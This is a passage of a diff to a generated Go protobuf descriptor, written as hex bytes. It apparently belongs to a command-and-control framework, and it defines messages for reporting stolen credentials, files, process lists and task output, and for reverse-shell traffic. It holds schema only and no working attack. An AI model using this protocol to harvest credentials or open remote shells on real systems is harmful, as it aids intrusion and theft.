0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, + 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, + 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x78, 0x74, 0x48, 0x00, 0x52, 0x10, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x42, 0x09, 0x0a, 0x07, 0x63, 0x6f, + 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x2a, 0x0a, 0x12, 0x46, 0x65, 0x74, 0x63, 0x68, 0x41, 0x73, + 0x73, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, + 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0xd6, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, 0x0a, + 0x0c, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x74, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x78, 0x74, 0x12, 0x44, 0x0a, 0x12, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, + 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x10, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, + 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x34, 0x0a, 0x0a, 0x63, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, + 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x61, 0x6c, 0x52, 0x0a, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x42, + 0x09, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x1a, 0x0a, 0x18, 0x52, 0x65, + 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xe8, 0x01, 0x0a, 0x11, 0x52, 0x65, 0x70, 0x6f, 0x72, + 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, 0x0a, 0x0c, + 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x74, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x78, 0x74, 0x12, 0x44, 0x0a, 0x12, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, + 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, + 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x10, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, + 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x26, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, + 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x52, 0x04, 0x6b, 0x69, 0x6e, 0x64, + 0x12, 0x24, 0x0a, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x0e, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, + 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x42, 0x09, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, + 0x74, 0x22, 0x14, 0x0a, 0x12, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xcc, 0x01, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, + 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, 0x0a, 0x0c, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, + 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, + 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x74, + 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x44, 0x0a, 0x12, 0x73, 0x68, + 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x10, + 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, + 0x12, 0x29, 0x0a, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x15, + 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x42, 0x09, 0x0a, 0x07, 0x63, + 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x1b, 0x0a, 0x19, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, + 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x29, + 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, + 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x26, 0x0a, 0x06, 0x6f, 0x75, 0x74, + 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x32, 0x2e, 0x54, + 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, + 0x74, 0x22, 0x7b, 0x0a, 0x1c, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, + 0x65, 0x12, 0x2e, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, + 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, + 0x74, 0x12, 0x2b, 0x0a, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xb0, + 0x01, 0x0a, 0x13, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0b, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x6f, + 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x63, 0x32, + 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, + 0x74, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x48, 0x00, 0x52, 0x0a, 0x74, 0x61, 0x73, 0x6b, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x4e, 0x0a, 0x11, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, + 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x20, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x4d, 0x65, 0x73, 0x73, + 0x61, 0x67, 0x65, 0x48, 0x00, 0x52, 0x0f, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, + 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x42, 0x09, 0x0a, 0x07, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, + 0x65, 0x22, 0x16, 0x0a, 0x14, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, 0x75, 0x74, 0x70, 0x75, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xe1, 0x01, 0x0a, 0x13, 0x52, 0x65, + 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, 0x0a, 0x0c, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x74, 0x61, 0x73, 0x6b, @@ -2387,179 +2409,106 @@ var file_c2_proto_rawDesc = []byte{ 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x10, 0x73, 0x68, 0x65, - 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x34, 0x0a, - 0x0a, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x14, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0a, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x42, 0x09, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x1a, - 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xe8, 0x01, 0x0a, 0x11, 0x52, - 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x34, 0x0a, 0x0c, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x0b, 0x74, 0x61, 0x73, 0x6b, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x44, 0x0a, 0x12, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, - 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, - 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x10, 0x73, 0x68, 0x65, 0x6c, - 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x26, 0x0a, 0x04, - 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x32, 0x2e, - 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x52, 0x04, - 0x6b, 0x69, 0x6e, 0x64, 0x12, 0x24, 0x0a, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x46, - 0x69, 0x6c, 0x65, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x42, 0x09, 0x0a, 0x07, 0x63, 0x6f, - 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x14, 0x0a, 0x12, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, - 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xcc, 0x01, 0x0a, 0x18, - 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, 0x0a, 0x0c, 0x74, 0x61, 0x73, 0x6b, - 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0f, - 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, - 0x00, 0x52, 0x0b, 0x74, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x44, - 0x0a, 0x12, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, - 0x74, 0x65, 0x78, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, - 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, - 0x48, 0x00, 0x52, 0x10, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x78, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x50, 0x72, - 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x04, 0x6c, 0x69, 0x73, 0x74, 0x42, - 0x09, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x1b, 0x0a, 0x19, 0x52, 0x65, - 0x70, 0x6f, 0x72, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, - 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x4d, 0x65, 0x73, 0x73, 0x61, - 0x67, 0x65, 0x12, 0x29, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x78, 0x74, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x26, 0x0a, - 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, - 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x06, 0x6f, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0x7b, 0x0a, 0x1c, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x4d, 0x65, - 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x2e, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x52, 0x07, 0x63, 0x6f, - 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x2b, 0x0a, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x06, 0x6f, 0x75, 0x74, 0x70, - 0x75, 0x74, 0x22, 0xb0, 0x01, 0x0a, 0x13, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0b, 0x74, 0x61, - 0x73, 0x6b, 0x5f, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x61, 0x73, 0x6b, 0x4f, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x48, 0x00, 0x52, 0x0a, - 0x74, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x4e, 0x0a, 0x11, 0x73, 0x68, - 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x70, 0x6f, 0x72, - 0x74, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, - 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x48, 0x00, 0x52, 0x0f, 0x73, 0x68, 0x65, 0x6c, 0x6c, - 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x42, 0x09, 0x0a, 0x07, 0x6d, 0x65, - 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x16, 0x0a, 0x14, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x4f, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xe1, 0x01, - 0x0a, 0x13, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x34, 0x0a, 0x0c, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, - 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0f, 0x2e, 0x63, 0x32, - 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, 0x0b, - 0x74, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x44, 0x0a, 0x12, 0x73, - 0x68, 0x65, 0x6c, 0x6c, 0x5f, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, - 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x32, 0x2e, 0x53, 0x68, 0x65, - 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x48, 0x00, 0x52, - 0x10, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, - 0x74, 0x12, 0x2f, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x4b, 0x69, 0x6e, 0x64, 0x52, 0x04, 0x6b, 0x69, - 0x6e, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x64, 0x61, 0x74, 0x61, 0x42, 0x09, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, - 0x74, 0x22, 0x5b, 0x0a, 0x14, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x04, 0x6b, 0x69, 0x6e, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1b, 0x2e, 0x63, 0x32, 0x2e, 0x52, 0x65, 0x76, - 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, - 0x4b, 0x69, 0x6e, 0x64, 0x52, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x61, - 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x64, 0x61, 0x74, 0x61, 0x22, 0xbe, - 0x01, 0x0a, 0x13, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x52, - 